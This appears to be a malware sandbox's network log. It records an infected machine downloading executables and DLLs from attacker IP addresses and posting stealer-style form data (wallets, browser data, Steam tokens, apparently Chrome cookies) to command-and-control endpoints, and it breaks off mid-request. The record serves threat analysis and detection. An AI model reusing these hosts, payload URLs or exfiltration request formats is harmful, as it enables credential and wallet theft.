Source: global traffic	HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECFCGHIDHCAKEBFCFHCHost: 185.215.113.17Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 2d 2d 0d 0a Data Ascii: ------KECFCGHIDHCAKEBFCFHCContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------KECFCGHIDHCAKEBFCFHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KECFCGHIDHCAKEBFCFHCContent-Disposition: form-data; name="file"------KECFCGHIDHCAKEBFCFHC--
Source: global traffic	HTTP traffic detected: GET /inc/penis.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEBGHDBKEBGIDHJJEHCHost: 185.215.113.17Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------CAEBGHDBKEBGIDHJJEHCContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------CAEBGHDBKEBGIDHJJEHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CAEBGHDBKEBGIDHJJEHCContent-Disposition: form-data; name="file"------CAEBGHDBKEBGIDHJJEHC--
Source: global traffic	HTTP traffic detected: GET /f1ddeb6592c03206/freebl3.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 32 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000254001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /f1ddeb6592c03206/mozglue.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /inc/crypted.exe HTTP/1.1Host: 185.215.113.117
Source: global traffic	HTTP traffic detected: GET /f1ddeb6592c03206/msvcp140.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /f1ddeb6592c03206/nss3.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 32 39 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000290001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /inc/LummaC222222.exe HTTP/1.1Host: 185.215.113.117
Source: global traffic	HTTP traffic detected: GET /f1ddeb6592c03206/softokn3.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000314001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /f1ddeb6592c03206/vcruntime140.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /inc/newbundle2.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKJEGCFBGDHJJJJJKJEHost: 185.215.113.17Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKKEGDBFIIEBFHIEHCHost: 185.215.113.17Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 2d 2d 0d 0a Data Ascii: ------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="message"wallets------JEBKKEGDBFIIEBFHIEHC--
Source: global traffic	HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJEBFCFIJJJEBGDBAKEHost: 185.215.113.17Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 2d 2d 0d 0a Data Ascii: ------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="message"files------IIJEBFCFIJJJEBGDBAKE--
Source: global traffic	HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAAFBGDBKJJJKFIIIJJHost: 185.215.113.17Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 2d 2d 0d 0a Data Ascii: ------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="file"------IDAAFBGDBKJJJKFIIIJJ--
Source: global traffic	HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHJEGIIDAECAAKEBKFHost: 185.215.113.17Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 2d 2d 0d 0a Data Ascii: ------AAEHJEGIIDAECAAKEBKFContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------AAEHJEGIIDAECAAKEBKFContent-Disposition: form-data; name="message"ybncbhylepme------AAEHJEGIIDAECAAKEBKF--
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000322001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJKEBGHJKFIDGCAAFCAHost: 185.215.113.17Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 2d 2d 0d 0a Data Ascii: ------KJJKEBGHJKFIDGCAAFCAContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------KJJKEBGHJKFIDGCAAFCAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KJJKEBGHJKFIDGCAAFCA--
Source: global traffic	HTTP traffic detected: GET /inc/rstxdhuj.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 91.202.233.158Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFCBKKFBAEHJKEBKFCBHost: 91.202.233.158Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 35 45 30 31 35 42 38 41 39 38 32 33 33 33 33 36 34 31 39 32 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 2d 2d 0d 0a Data Ascii: ------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="hwid"A95E015B8A982333364192------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="build"default------CBFCBKKFBAEHJKEBKFCB--
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 34 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000342001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHCHost: 91.202.233.158Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 37 38 35 32 36 31 30 35 64 63 64 65 38 31 35 63 34 62 63 63 37 32 64 64 34 39 63 62 34 66 32 35 62 35 38 37 37 33 62 39 63 61 34 64 31 39 31 66 62 35 35 61 38 35 64 64 62 35 66 63 38 61 37 62 38 65 61 65 35 65 66 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 2d 2d 0d 0a Data Ascii: ------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="token"d78526105dcde815c4bcc72dd49cb4f25b58773b9ca4d191fb55a85ddb5fc8a7b8eae5ef------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="message"browsers------IDHIEBAAKJDHIECAAFHC--
Source: global traffic	HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBKFHIDHIIJJKECGHCFHost: 91.202.233.158Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 37 38 35 32 36 31 30 35 64 63 64 65 38 31 35 63 34 62 63 63 37 32 64 64 34 39 63 62 34 66 32 35 62 35 38 37 37 33 62 39 63 61 34 64 31 39 31 66 62 35 35 61 38 35 64 64 62 35 66 63 38 61 37 62 38 65 61 65 35 65 66 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 2d 2d 0d 0a Data Ascii: ------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="token"d78526105dcde815c4bcc72dd49cb4f25b58773b9ca4d191fb55a85ddb5fc8a7b8eae5ef------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="message"plugins------BFBKFHIDHIIJJKECGHCF--
Source: global traffic	HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJJKEGHJKFHJKFHDHCFHost: 91.202.233.158Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 37 38 35 32 36 31 30 35 64 63 64 65 38 31 35 63 34 62 63 63 37 32 64 64 34 39 63 62 34 66 32 35 62 35 38 37 37 33 62 39 63 61 34 64 31 39 31 66 62 35 35 61 38 35 64 64 62 35 66 63 38 61 37 62 38 65 61 65 35 65 66 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 2d 2d 0d 0a Data Ascii: ------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="token"d78526105dcde815c4bcc72dd49cb4f25b58773b9ca4d191fb55a85ddb5fc8a7b8eae5ef------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="message"fplugins------IJJJKEGHJKFHJKFHDHCF--
Source: global traffic	HTTP traffic detected: GET /inc/cccc2.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000349001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEGIDHDHIDGIEBGIJEHHost: 91.202.233.158Content-Length: 7159Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET /3836fd5700214436/sqlite3.dll HTTP/1.1Host: 91.202.233.158Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHCHost: 91.202.233.158Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 37 38 35 32 36 31 30 35 64 63 64 65 38 31 35 63 34 62 63 63 37 32 64 64 34 39 63 62 34 66 32 35 62 35 38 37 37 33 62 39 63 61 34 64 31 39 31 66 62 35 35 61 38 35 64 64 62 35 66 63 38 61 37 62 38 65 61 65 35 65 66 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 2d 2d 0d 0a Data Ascii: ------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="token"d78526105dcde815c4bcc72dd49cb4f25b58773b9ca4d191fb55a85ddb5fc8a7b8eae5ef------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; 